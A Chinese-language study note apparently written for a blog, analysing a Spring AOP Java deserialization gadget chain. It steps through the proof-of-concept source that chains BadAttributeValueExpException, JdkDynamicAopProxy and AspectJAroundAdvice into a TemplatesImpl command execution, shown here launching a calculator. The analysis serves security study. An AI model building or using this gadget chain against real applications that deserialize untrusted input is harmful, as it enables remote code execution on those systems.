笔者:han

qq:1512624649

博客:http://hanblog.top(有的时候会挂掉懒得重新起)

请开代理访问。图床在github。不然加载不出来(

本笔记项目地址:https://github.com/Ape1ron/SpringAopInDeserializationDemo1

此笔记在原作者文章的分析基础上加上一些笔记和理解。以及对项目源代码的一次详细分析(笔者没写的地方做补充)更好看懂。

若有错误欢迎大佬指出

前置知识需要:动态代理 代理 拦截器 切面 单例对象 通知等等(按自己需要决定是否跳过)

以下是这些概念和组件的详细解析及其关系图:

核心概念与关系总览

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
graph TD
A[动态代理] --> B[JDK动态代理]
A --> C[CGLIB动态代理]
B --> D[InvocationHandler]
C --> E[MethodInterceptor]
D --> F[拦截器逻辑]
E --> F[拦截器逻辑]
F --> G[Advice]
G --> H[通知类型]
H --> H1[@Before]
H --> H2[@After]
H --> H3[@Around]
G --> I[Advisor]
I --> J[Pointcut]
I --> K[Advice]
J --> L[AspectJExpressionPointcut]
K --> M[AspectJAroundAdvice]
I --> N[DefaultIntroductionAdvisor]
O[AdvisedSupport] --> P[配置中心]
P --> Q[目标对象]
P --> R[拦截器链]
P --> S[代理接口]
R --> T[DefaultAdvisorChainFactory]
U[SingletonAspectInstanceFactory] --> V[切面单例管理]

1. 基础概念层

(1) 代理 (Proxy)

  • 定义:一种设计模式,通过中间对象控制对原始对象的访问。
  • 作用:实现权限控制、延迟加载、日志记录等横切关注点
  • 类型
    • 静态代理:手动编写代理类(编译时确定)
    • 动态代理:运行时动态生成代理类

(2) 动态代理 (Dynamic Proxy)

  • 实现方式
    • JDK动态代理:基于接口(要求目标对象实现接口)
    • CGLIB****动态代理:基于继承(可代理无接口的类)
  • 核心接口
    • InvocationHandler(JDK代理)
    • MethodInterceptor(CGLIB代理)

(3) 拦截器 (Interceptor)

  • 本质:实现方法调用拦截的组件
  • 典型实现
    • MethodInterceptor(Spring AOP)
    • HandlerInterceptor(Spring MVC)

(4) 单例对象 (Singleton)

  • 定义:在整个应用中只有一个实例的对象
  • Spring默认作用域:Bean默认单例
  • 与代理的关系:代理对象本身通常是单例的

2. AOP核心层

(1) 切面 (Aspect)

  • 定义:模块化的横切关注点(如日志、事务)
  • 组成 = 通知 (Advice) + 切点 (Pointcut)

(2) 通知 (Advice)

  • 类型
    • @Before:方法执行前
    • @AfterReturning:方法正常返回后
    • @AfterThrowing:方法抛出异常后
    • @After:方法最终执行(类似finally)
    • @Around:完全控制方法执行(最强大)

通知里还有自定义逻辑这段代码就是切面要执行的代码,它决定了当目标方法被拦截时,实际要做什么。

(3) 切点 (Pointcut)

  • 定义:通过表达式定义需要拦截的方法
  • 实现类
    • AspectJExpressionPointcut(基于AspectJ语法)

3. Spring AOP实现层

(1) AdvisedSupport

  • 角色:AOP配置中心
  • 存储内容
    • 目标对象(Target)
    • 拦截器链(Advisors)
    • 代理接口(Interfaces)
    • 配置标志(如exposeProxy)

(2) Advisor

  • 定义:Advice的包装器,关联Advice和Pointcut
  • 类型
    • PointcutAdvisor:通用类型
    • IntroductionAdvisor:用于动态添加接口
    • DefaultIntroductionAdvisor:实现类

(3) DefaultAdvisorChainFactory

  • 作用:根据AdvisedSupport生成拦截器调用链

  • 核心方法

    • List<MethodInterceptor> getInterceptors(Advised config, Method method, Class<?> targetClass)
      
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14

      #### **(4) SingletonAspectInstanceFactory**

      - **作用**:确保切面实例是单例的
      - **使用场景**:管理`@Aspect`注解的类实例

      ### **4. 关键类详解**

      #### **(1) MethodInterceptor**

      ```Java
      public interface MethodInterceptor extends Interceptor {
      Object invoke(MethodInvocation invocation) throws Throwable;
      }
  • 使用场景:CGLIB代理的拦截逻辑实现

  • 与InvocationHandler的区别

    • InvocationHandler:JDK代理专用
    • MethodInterceptor:更灵活,支持嵌套调用

(2) AspectJAroundAdvice

  • 作用:实现@Around通知的底层类
  • 协作组件
    • MethodInvocationProceedingJoinPoint:封装目标方法调用
    • AspectJExpressionPointcut:定义拦截范围

(3) DefaultIntroductionAdvisor

1
2
3
4
public class DefaultIntroductionAdvisor implements IntroductionAdvisor {
private Advice advice;
private Class<?> interfaceType;
}
  • 特殊用途:动态为对象添加新接口
  • 漏洞利用场景:让字符串对象伪装成Map接口实现

5. 完整协作流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sequenceDiagram
participant Client
participant Proxy
participant AdvisedSupport
participant AdvisorChainFactory
participant MethodInterceptor

Client->>Proxy: 调用方法()
Proxy->>AdvisedSupport: 获取配置
AdvisedSupport->>AdvisorChainFactory: 生成拦截器链
AdvisorChainFactory->>AdvisedSupport: 返回MethodInterceptor列表
loop 拦截器链执行
Proxy->>MethodInterceptor: invoke()
MethodInterceptor->>目标方法: 执行前后逻辑
end
Proxy-->>Client: 返回结果

6. 漏洞利用中的典型组合

(1) 构造恶意代理链

1
2
3
4
5
6
7
8
9
10
11
12
// 创建AdvisedSupport并注入恶意配置
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget("任意对象");
// 通过反射绕过安全检查
Reflections.setFieldValue(advisedSupport, "advisors", maliciousAdvisors);

// 生成代理对象
AopProxy proxy = new JdkDynamicAopProxy(advisedSupport);
Map evilMap = (Map) proxy.getProxy();

// 触发攻击(如反序列化时调用toString)
evilMap.toString(); // 执行恶意代码

(2) 关键组件的作用

组件 攻击中的作用
DefaultIntroductionAdvisor 让代理对象实现危险接口(如Map
AspectJAroundAdvice 嵌入恶意代码(如命令执行)
AdvisedSupport 集中管理攻击配置
MethodInterceptor 实际执行攻击逻辑的拦截器

总结

  • 动态代理是实现AOP的底层技术
  • AdvisedSupport是Spring AOP的配置枢纽
  • Advisor将拦截逻辑(Advice)与触发条件(Pointcut)绑定
  • MethodInterceptorInvocationHandler是不同代理实现的拦截核心
  • 理解这些组件的关系是分析Spring漏洞(如内存马注入)的关键基础

污染链顺序分析:

寻找污染点:

污染点的作用:通过反射调用函数。

后续再通过寻找各种利用链触发污染点。然后用反射调用其他方法

org.springframework.aop.aspectj.AbstractAspectJAdvice

在这个类下invokeAdviceMethodWithGivenArgs存在反射调用

img

又从readobject这个类里发现这个aspectjadvicemethod字段会被重新赋值

image-20250309181018520

aspectjadvicemethod这是一个属性。这个属性指向的是这个拦截器会调用的函数

再来简单了解一下invoke。invoke的常见写法是这样的method.invoke(object,args)

method是需要操作的类的方法。通过反射获取。

object是这个类的实例对象。

args是这个方法的传递参数。

由此我们可以发现method和args都是可控的。一个通过readobject一个是invokeAdviceMethodWithGivenArgs(args)传递的。

object是一个对象。这个对象需要有getAspectInstance()这个函数。并且他需要序列化和反序列化。所以由此可以知道他需要实现一个aspectInstanceFactory和Serializable接口的对象

img

我们发现这里有九个继承这个接口的类。找一下发现

img

这个类SingletonAspectInstanceFactory是符合要求的。所以只需要传入一个这个的对象就可以实现反射调用

寻找利用链

需要注意的是invokeAdviceMethodWithGivenArgs 是 Spring AOP 内部调用的

所以在项目的完整poc里是找不到invokeAdviceMethodWithGivenArgs 这个的。我们需要通过一系列利用链去触发这里

img

这里又两个相似的invokeAdviceMethod。追下面还是上面都一样的。这里就用下面的

我们可以发现追溯一下

利用链这里也就变成了

AspectAroundAdvice#invoke->invokeAdviceMethod->invokeAdviceMethodWithGivenArgs

在项目里的poc也是通过AspectAroundAdvice去触发的

再往上追溯

img

有四个可以运用了这里的invoke

这三个分别的作用如下

ReflectiveMethodInvocation 是 Spring AOP 的核心类,用于 *管理并执行拦截器*链(**Interceptor Chain)

当代理对象的方法被调用时,Spring AOP 通过这个类依次执行**拦截器,最终调用目标方法。**

DebugInterceptor是一个**拦截器Interceptor),用于** AOP 调试它会拦截方法调用,并在方法执行前后打印日志信息,帮助开发者分析 AOP 执行过程。

ExposeBeanNameAdvisors 主要用于 Spring AOP 代理,让代理对象能够知道自己的 Bean 名称。

拦截器链中获取当前 Bean 的名称。

支持 @ExposeProxy 功能,使方法调用时可以获取代理对象本身。

三个到底通过谁触发呢

我们先看DebugInterceptor

img

这里是no usages没有使用的。无法通过别的东西触发。而且自身也没有Serializable去支持这个类序列化。所以不符合要求。

这里需要再次明确一下我们的要求。通过一个有继承Serializable这个接口的类去调用。所以上面这个不符合条件

再看这个ExposeBeanNameIntroduction

img

有一个usage

img

但是在往上追就会发现又是no usages。并且这个类也是没有Serializable的

所以最后看看ReflectiveMethodInvocation他也不是继承Serializable接口的

但我们发现这个有多处的usages。并且这里的JdkDynamicAopProxy是存在Serializable接口的

img

我们发现当我们通过JdkDynamicAopProxy创建的代理对象的时候。如果这个时候还有一个拦截器链。那么就会先执行拦截器链再执行目标对象的函数。而在这个时候就会触发ReflectiveMethodInvocation的代码。如下

img

最后通过BadAttributeValueExpException去触发这个代理对象。这个触发会在下面的项目源代码分析里提及。这里不重复叙述了

明确完了整条利用链了。我们看一下完整利用链的图然后分析参数

img

分析参数

我们再分析一下这里所需的参数

img

这里的参数分析直接用项目作者的话(偷个懒。感觉自己讲和他讲的其实差不多。作者的可能更好)

第一个点是interceptorOrInterceptionAdvice的获取,是从interceptorsAndDynamicMethodMatchers中拿到的,该属性本身定义就是一个List,可以序列化,而索引currentInterceptorIndex本身也只是int类型。因此可以认为interceptorOrInterceptionAdvice是可控的。

第二个点是interceptorOrInterceptionAdvice的类型,按照笔者上面的调用链,这个对象的类型是org.springframework.aop.aspectj.AspectJAroundAdviceAbstractAspectJAdvice的子类),那么proceed代码是走下面的分支,省去了一部分麻烦:)

最后就差JdkDynamicAopProxy这个类里的参数分析了。开始吧:

img

我们需要满足if条件才能触发ReflectiveMethodInvocation

所以需要看这个函数了getInterceptorsAndDynamicInterceptionAdvice

img

这里的cached有两种赋值方式:

  1. 从缓存的methodCache中获取
  2. 通过getInterceptorsAndDynamicInterceptionAdvice方法

methodCache属性,本身加了transient修饰符导致这个字段不能被序列化。我们是无法通过反序列化控制的,并且在readObject方法中是直接新建的赋值的,判断这条路是不可行的。

img

所以分析getInterceptorsAndDynamicInterceptionAdvice这个函数

img

发现这个有个继承。又因为他是一个接口。所以上面这段代码cached = this.advisorChainFactory.getInterceptorsAndDynamicInterceptionAdvice(this, method, targetClass);我们运行的就是这个继承下的getInterceptorsAndDynamicInterceptionAdvice。

代码段如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
/* loaded from: spring-aop-5.3.19.jar:org/springframework/aop/framework/DefaultAdvisorChainFactory.class */
public class DefaultAdvisorChainFactory implements AdvisorChainFactory, Serializable {
@Override // org.springframework.aop.framework.AdvisorChainFactory
public List<Object> getInterceptorsAndDynamicInterceptionAdvice(Advised config, Method method, @Nullable Class<?> targetClass) {
boolean match;
AdvisorAdapterRegistry registry = GlobalAdvisorAdapterRegistry.getInstance();
Advisor[] advisors = config.getAdvisors();
List<Object> interceptorList = new ArrayList<>(advisors.length);
Class<?> actualClass = targetClass != null ? targetClass : method.getDeclaringClass();
Boolean hasIntroductions = null;
for (Advisor advisor : advisors) {
if (advisor instanceof PointcutAdvisor) {
PointcutAdvisor pointcutAdvisor = (PointcutAdvisor) advisor;
if (config.isPreFiltered() || pointcutAdvisor.getPointcut().getClassFilter().matches(actualClass)) {
MethodMatcher mm = pointcutAdvisor.getPointcut().getMethodMatcher();
if (mm instanceof IntroductionAwareMethodMatcher) {
if (hasIntroductions == null) {
hasIntroductions = Boolean.valueOf(hasMatchingIntroductions(advisors, actualClass));
}
match = ((IntroductionAwareMethodMatcher) mm).matches(method, actualClass, hasIntroductions.booleanValue());
} else {
match = mm.matches(method, actualClass);
}
if (match) {
MethodInterceptor[] interceptors = registry.getInterceptors(advisor);
if (mm.isRuntime()) {
for (MethodInterceptor interceptor : interceptors) {
interceptorList.add(new InterceptorAndDynamicMethodMatcher(interceptor, mm));
}
} else {
interceptorList.addAll(Arrays.asList(interceptors));
}
}
}
} else if (advisor instanceof IntroductionAdvisor) {
IntroductionAdvisor ia = (IntroductionAdvisor) advisor;
if (config.isPreFiltered() || ia.getClassFilter().matches(actualClass)) {
Interceptor[] interceptors2 = registry.getInterceptors(advisor);
interceptorList.addAll(Arrays.asList(interceptors2));
}
} else {
Interceptor[] interceptors3 = registry.getInterceptors(advisor);
interceptorList.addAll(Arrays.asList(interceptors3));
}
}
return interceptorList;
}

private static boolean hasMatchingIntroductions(Advisor[] advisors, Class<?> actualClass) {
for (Advisor advisor : advisors) {
if (advisor instanceof IntroductionAdvisor) {
IntroductionAdvisor ia = (IntroductionAdvisor) advisor;
if (ia.getClassFilter().matches(actualClass)) {
return true;
}
}
}
return false;
}
}

这段代码是 Spring AOP 中用于构建方法拦截器链的核心逻辑,来自 DefaultAdvisorChainFactory 类的 getInterceptorsAndDynamicInterceptionAdvice 方法。其主要作用是根据当前方法(method)和目标类(targetClass),从配置的 Advisor 列表中筛选出匹配的拦截器(MethodInterceptor),并生成最终的拦截器链。

我们需要重点关注的是这个函数的返回值。因为他会被赋值给cached。

这个方法最终返回的就是interceptorList对象,我们需要再分析这个对象如何添加元素,然后往上找这个元素是怎么生成的。

interceptorList被创建之后存在两种可以运行的函数一种是interceptorList.add()一种是interceptorList.addAll()

img

我们可以发现无论是addAll函数还是add函数的调用前面都有

registry.getInterceptors(advisor);

getInterceptors是一个获得拦截器的函数

registry则是直接通过静态GlobalAdvisorAdapterRegistry.getInstance()方法获取的静态单例类

这里下面一小部分粘贴笔者原话偷个懒(因为写到这的时候有事情忙去了。过段时间回来看已经大脑空白了。)

但是下面的项目源代码是我自己写的分析(先写的项目源代码分析然后再写污染链分析)

静态单例类一般无法通过反序列化过程控制的,要想修改这种实例的元素或属性,还需要其他执行分支甚至其他反序列化gadget chain来调用实例的方法。

认真审了一下org.springframework.aop.framework.adapter.DefaultAdvisorAdapterRegistry#getInterceptors方法。

一下子就看到了希望,核心逻辑:advice变量是可控的,如果这个变量同时实现AdviceMethodInterceptor接口,则可以将其添加到interceptors,这个interceptors就是我们最终返回的目标chain。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public MethodInterceptor[] getInterceptors(Advisor advisor) throws UnknownAdviceTypeException {
List<MethodInterceptor> interceptors = newArrayList<>(3);
// 可控,只要可序列化即可
Adviceadvice= advisor.getAdvice();
if (advice instanceof MethodInterceptor) {
// 如果advice本身实现了MethodInterceptor接口,将advice直接添加到interceptors!!!
interceptors.add((MethodInterceptor) advice);
}
for (AdvisorAdapter adapter : this.adapters) {
if (adapter.supportsAdvice(advice)) {
interceptors.add(adapter.getInterceptor(advisor));
}
}
if (interceptors.isEmpty()) {
thrownewUnknownAdviceTypeException(advisor.getAdvice());
}
return interceptors.toArray(newMethodInterceptor[0]);
}

笔者的需求是interceptors中元素是一个AspectJAroundAdvice实例,很显然,这个类满足了实现MethodInterceptor接口的需求,但并没有实现Advice….

看到这里,熟悉反序列化或者是看过笔者上一篇文章文章的小伙伴,应该会一下子就想到动态代理,而我们恰好又有spring-aop依赖,JdkDynamicAopProxy本来不就是用来做这个东西的吗?

通过JdkDynamicAopProxy来同时代理AdviceMethodInterceptor接口,并设置反射调用对象是AspectJAroundAdvice,如果后续仅被调用MethodInterceptor接口的方法,就可以直接混水摸鱼,如果还会调用Advice接口的方法,则可以再尝试使用CompositeInvocationHandlerImpl,详情可以参考上一篇文章《高版本Fastjson在Java原生反序列化中的利用》。

经过测试,这里只需要JdkDynamicAopProxy就可以了。到这里,整条gadget chain的主要障碍都基本被扫清了,剩下的就是一些边边角角的修改。

项目源代码分析:

这里粘贴主要文件的源码。会在后续内容粘贴其他文件的部分源码。想看完整版的可以去看项目

有些代码块太长复杂的话我一般都在代码块后面直接讲这段实现了什么或者重点是什么。可以先看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.aopalliance.aop.Advice;
import org.aopalliance.intercept.MethodInterceptor;
import org.springframework.aop.Advisor;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.framework.DefaultAdvisorChainFactory;
import org.springframework.aop.support.DefaultIntroductionAdvisor;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;

public class SpringAOP1 {
public static void main(String[] args) throws Throwable {
SpringAOP1 aop1 = new SpringAOP1();
Object object = aop1.getObject(Util.getDefaultTestCmd());
Util.runGadgets(object);
// String path = "/tmp/Deserialization/AOP1/aop1.ser";
// Util.writeObj2File(object,path);
// Util.readObj4File(path);
}



public Object getObject (String cmd) throws Throwable {
AspectJAroundAdvice aspectJAroundAdvice = getAspectJAroundAdvice(cmd);
InvocationHandler jdkDynamicAopProxy1 = (InvocationHandler) JdkDynamicAopProxyNode.makeGadget(aspectJAroundAdvice);
Object proxy1 = Proxy.makeGadget(jdkDynamicAopProxy1, Advisor.class, MethodInterceptor.class);
Advisor advisor = new DefaultIntroductionAdvisor((Advice) proxy1);
List<Advisor> advisors = new ArrayList<>();
advisors.add(advisor);
AdvisedSupport advisedSupport = new AdvisedSupport();
Reflections.setFieldValue(advisedSupport,"advisors",advisors);
DefaultAdvisorChainFactory advisorChainFactory = new DefaultAdvisorChainFactory();
Reflections.setFieldValue(advisedSupport,"advisorChainFactory",advisorChainFactory);
InvocationHandler jdkDynamicAopProxy2 = (InvocationHandler) JdkDynamicAopProxyNode.makeGadget("ape1ron",advisedSupport);
Object proxy2 = Proxy.makeGadget(jdkDynamicAopProxy2, Map.class);

Object badAttrValExe = BadAttrValExeNode.makeGadget(proxy2);
return badAttrValExe;
}




public AspectJAroundAdvice getAspectJAroundAdvice(String cmd) throws Exception {
Object templatesImpl = TemplatesImplNode.makeGadget(cmd);
SingletonAspectInstanceFactory singletonAspectInstanceFactory = new SingletonAspectInstanceFactory(templatesImpl);
AspectJAroundAdvice aspectJAroundAdvice = Reflections.newInstanceWithoutConstructor(AspectJAroundAdvice.class);
Reflections.setFieldValue(aspectJAroundAdvice,"aspectInstanceFactory",singletonAspectInstanceFactory);
Reflections.setFieldValue(aspectJAroundAdvice,"declaringClass", TemplatesImpl.class);
Reflections.setFieldValue(aspectJAroundAdvice,"methodName", "newTransformer");
Reflections.setFieldValue(aspectJAroundAdvice,"parameterTypes", new Class[0]);
// Method targetMethod = Reflections.getMethod(TemplatesImpl.class,"newTransformer",new Class[0]);
// Reflections.setFieldValue(aspectJAroundAdvice,"aspectJAdviceMethod",targetMethod);

AspectJExpressionPointcut aspectJExpressionPointcut = new AspectJExpressionPointcut();
Reflections.setFieldValue(aspectJAroundAdvice,"pointcut",aspectJExpressionPointcut);
Reflections.setFieldValue(aspectJAroundAdvice,"joinPointArgumentIndex",-1);
Reflections.setFieldValue(aspectJAroundAdvice,"joinPointStaticPartArgumentIndex",-1);
return aspectJAroundAdvice;
}

}

大概过一下顺序

开始分析

1
2
3
4
5
6
7
8
public static void main(String[] args) throws Throwable {
SpringAOP1 aop1 = new SpringAOP1();
Object object = aop1.getObject(Util.getDefaultTestCmd());
Util.runGadgets(object);
// String path = "/tmp/Deserialization/AOP1/aop1.ser";
// Util.writeObj2File(object,path);
// Util.readObj4File(path);
}

首先遇到的是getDefaultTestCmd()函数

会返回一个calc的string用于弹计算器用的

1
2
3
4
5
6
7
public static String getDefaultTestCmd(){
String osName = System.getProperty("os.name");
if (osName.startsWith("Mac")) {
return "open /System/Applications/Calculator.app";
}
return "calc";
}

接着是getObject()函数。是主要逻辑

这段逻辑从末尾开始往前讲笔者感觉会更好理解。所以笔者这里从后往前分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object getObject (String cmd) throws Throwable {
AspectJAroundAdvice aspectJAroundAdvice = getAspectJAroundAdvice(cmd);
InvocationHandler jdkDynamicAopProxy1 = (InvocationHandler) JdkDynamicAopProxyNode.makeGadget(aspectJAroundAdvice);
Object proxy1 = Proxy.makeGadget(jdkDynamicAopProxy1, Advisor.class, MethodInterceptor.class);
Advisor advisor = new DefaultIntroductionAdvisor((Advice) proxy1);
List<Advisor> advisors = new ArrayList<>();
advisors.add(advisor);
AdvisedSupport advisedSupport = new AdvisedSupport();
Reflections.setFieldValue(advisedSupport,"advisors",advisors);
DefaultAdvisorChainFactory advisorChainFactory = new DefaultAdvisorChainFactory();
Reflections.setFieldValue(advisedSupport,"advisorChainFactory",advisorChainFactory);
InvocationHandler jdkDynamicAopProxy2 = (InvocationHandler) JdkDynamicAopProxyNode.makeGadget("ape1ron",advisedSupport);
Object proxy2 = Proxy.makeGadget(jdkDynamicAopProxy2, Map.class);

Object badAttrValExe = BadAttrValExeNode.makeGadget(proxy2);
return badAttrValExe;
}

这里的BadAttrValExeNode.makeGadget(proxy2);是整个反序列化链的入口

先看一眼代码吧

1
2
3
4
5
6
7
8
9
10
11
12
13
import javax.management.BadAttributeValueExpException;


public class BadAttrValExeNode{

public static Object makeGadget(Object obj) throws Exception {
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null);
Reflections.setFieldValue(badAttributeValueExpException, "val", obj);
Reflections.setFieldValue(badAttributeValueExpException, "stackTrace", new StackTraceElement[0]);
Reflections.setFieldValue(badAttributeValueExpException, "cause", null);
return badAttributeValueExpException;
}
}

这里利用到了BadAttributeValueExpException这个类

构造函数和readObject函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

我们发现该构造函数的作用是将传入的 val 参数转换为字符串,并将结果赋值给 this.val 成员变量。这样做是为了在创建 BadAttributeValueExpException 对象时,确保 this.val 始终是一个字符串值

而readObject这个函数的作用是通过 gf.get("val", null) 方法获取名为 “val” 的字段对应的值,赋给 valObj,如果其不为String,则强行调用toString。而在上面代码我们是赋值了一个proxy2。他是一个对象。所以这里会触发tostring。也就是proxy2.tosring()

这个tostring函数触发了有什么用呢。这个函数肯定没什么用(。重点在proxy2。

想理解proxy2我们来看这两段代码

1
2
InvocationHandler jdkDynamicAopProxy2 = (InvocationHandler) JdkDynamicAopProxyNode.makeGadget("ape1ron",advisedSupport);
Object proxy2 = Proxy.makeGadget(jdkDynamicAopProxy2, Map.class);

接下来看一下他们的方法

1
2
3
4
5
6
7
8
9
10
11
public class Proxy {

public static Object makeGadget(InvocationHandler handler, Class... classes) throws Exception {
return java.lang.reflect.Proxy.newProxyInstance(Proxy.class.getClassLoader(), classes, handler);
}
}
//JdkDynamicAopProxyNode.makeGadget("ape1ron",advisedSupport);对应的方法
public static Object makeGadget(Object object,AdvisedSupport as) throws Exception {
as.setTargetSource(new SingletonTargetSource(object));
return Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy",AdvisedSupport.class,as);
}

Object proxy2 = Proxy.makeGadget(jdkDynamicAopProxy2, Map.class);这段代码的作用是给jdkDynamicAopProxy2对象添加一个额外的接口。这个接口是Map。(实现这个接口的作用是为了绕过BadAttributeValueExpException的readobject里的if检查。这样的方法在cc5链里也有。感兴趣的可以去搜搜看(笔者也只是猜测。没深入追代码。因为这个点不是本文的核心重点))

InvocationHandler jdkDynamicAopProxy2 = (InvocationHandler) JdkDynamicAopProxyNode.makeGadget(“ape1ron”,advisedSupport);这段代码的意思是

通过 JdkDynamicAopProxy 创建了一个JDK 动态代理对象

这个代理对象会拦截所有对 apr1ron 的方法调用,并通过 AdvisedSupport 里的拦截器链处理。

关于拦截方法和自定义的逻辑这方面下面有个简单案例1可以参考

关于上面这段逻辑是由org.springframework.aop.framework.JdkDynamicAopProxy下的invoke函数里的逻辑就是这个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
try {
if (this.equalsDefined || !AopUtils.isEqualsMethod(method)) {
if (!this.hashCodeDefined && AopUtils.isHashCodeMethod(method)) {
Integer var19 = this.hashCode();
return var19;
}

if (method.getDeclaringClass() == DecoratingProxy.class) {
Class var18 = AopProxyUtils.ultimateTargetClass(this.advised);
return var18;
}

if (!this.advised.opaque && method.getDeclaringClass().isInterface() && method.getDeclaringClass().isAssignableFrom(Advised.class)) {
Object var17 = AopUtils.invokeJoinpointUsingReflection(this.advised, method, args);
return var17;
}

if (this.advised.exposeProxy) {
oldProxy = AopContext.setCurrentProxy(proxy);
setProxyContext = true;
}

target = targetSource.getTarget();
Class<?> targetClass = target != null ? target.getClass() : null;
List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);
Object retVal;
if (chain.isEmpty()) {
Object[] argsToUse = AopProxyUtils.adaptArgumentsIfNecessary(method, args);
retVal = AopUtils.invokeJoinpointUsingReflection(target, method, argsToUse);
} else {
MethodInvocation invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
retVal = invocation.proceed();
}

Class<?> returnType = method.getReturnType();
if (retVal != null && retVal == target && returnType != Object.class && returnType.isInstance(proxy) && !RawTargetAccess.class.isAssignableFrom(method.getDeclaringClass())) {
retVal = proxy;
} else if (retVal == null && returnType != Void.TYPE && returnType.isPrimitive()) {
throw new AopInvocationException("Null return value from advice does not match primitive return type for: " + method);
}

Object var12 = retVal;
return var12;
}

我们发现拦截器链如果不为空就会执行拦截器链里的拦截器写的逻辑

1
2
3
4
5
6
7
if (chain.isEmpty()) {
Object[] argsToUse = AopProxyUtils.adaptArgumentsIfNecessary(method, args);
retVal = AopUtils.invokeJoinpointUsingReflection(target, method, argsToUse);
} else {
MethodInvocation invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
retVal = invocation.proceed();
}

扯了这么多把上面的内容

接下来再重新总结一下这段代码的作用

1
2
3
InvocationHandler jdkDynamicAopProxy2 = (InvocationHandler) JdkDynamicAopProxyNode.makeGadget("ape1ron",advisedSupport);
Object proxy2 = Proxy.makeGadget(jdkDynamicAopProxy2, Map.class);
Object badAttrValExe = BadAttrValExeNode.makeGadget(proxy2);

这段代码创建了一个代理。这个代理的目标对象是一个ape1ron的字符串。在执行这个目标对象的函数之前会先执行拦截器链的代码。所以这里的字符串是什么都无所谓。因为我们是通过拦截器链进行恶意逻辑触发的。

创建同时实现Spring AOP代理接口和Map接口的代理对象。proxy2.tostring()->jdkDynamicAopProxy2.tostring()->advisedSupport->”ape1ron”.tostring()。但是在tostring之前会先执行拦截器链里的代码

接下来开始分析advisedSupport这个拦截器链

1
2
3
4
5
6
7
Advisor advisor = new DefaultIntroductionAdvisor((Advice) proxy1);
List<Advisor> advisors = new ArrayList<>();
advisors.add(advisor);
AdvisedSupport advisedSupport = new AdvisedSupport();
Reflections.setFieldValue(advisedSupport,"advisors",advisors);
DefaultAdvisorChainFactory advisorChainFactory = new DefaultAdvisorChainFactory();
Reflections.setFieldValue(advisedSupport,"advisorChainFactory",advisorChainFactory)

把proxy1封装起来变成拦截器

然后添加一个chain。正常情况下是直接用addadvise()添加拦截器的。但是会受到spring安全检查约束。所以这里是这么写

场景 直接 addAdvice() 通过 Advisor + 反射注入
用途 添加简单的方法拦截逻辑 动态引入接口或精细控制拦截范围
安全校验 受 Spring 安全检查约束 绕过安全检查,直接操作底层字段
灵活性 只能添加通用的 Advice 可注入任意 Advisor(包括恶意实现)
典型场景 正常业务逻辑(如日志、事务) 漏洞利用(如反序列化攻击、内存马注入)

DefaultAdvisorChainFactory 是 Spring AOP 中的一个工厂类,用于根据 AdvisedSupport 中配置的 Advisor 列表和目标方法,构造出一个有序的拦截器链。

这样,AdvisedSupport 不仅知道有哪些 Advisor,还知道如何将它们按正确顺序组装成拦截器链。

ok接下来只剩下proxy1需要分析了

1
2
3
AspectJAroundAdvice aspectJAroundAdvice = getAspectJAroundAdvice(cmd);
InvocationHandler jdkDynamicAopProxy1 = (InvocationHandler) JdkDynamicAopProxyNode.makeGadget(aspectJAroundAdvice);
Object proxy1 = Proxy.makeGadget(jdkDynamicAopProxy1, Advisor.class, MethodInterceptor.class);

我们可以发现proxy1是一个jdkDynamicAopProxy1的基础上同时又接入了Advisor, MethodInterceptor这两个接口的

一个实例

jdkDynamicAopProxy1是一个代理对象。拦截器链是空的。直达对象aspectJAroundAdvice

最后就是分析第一行这个函数了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
    public AspectJAroundAdvice getAspectJAroundAdvice(String cmd) throws Exception {
Object templatesImpl = TemplatesImplNode.makeGadget(cmd);
SingletonAspectInstanceFactory singletonAspectInstanceFactory = new SingletonAspectInstanceFactory(templatesImpl);
AspectJAroundAdvice aspectJAroundAdvice = Reflections.newInstanceWithoutConstructor(AspectJAroundAdvice.class);
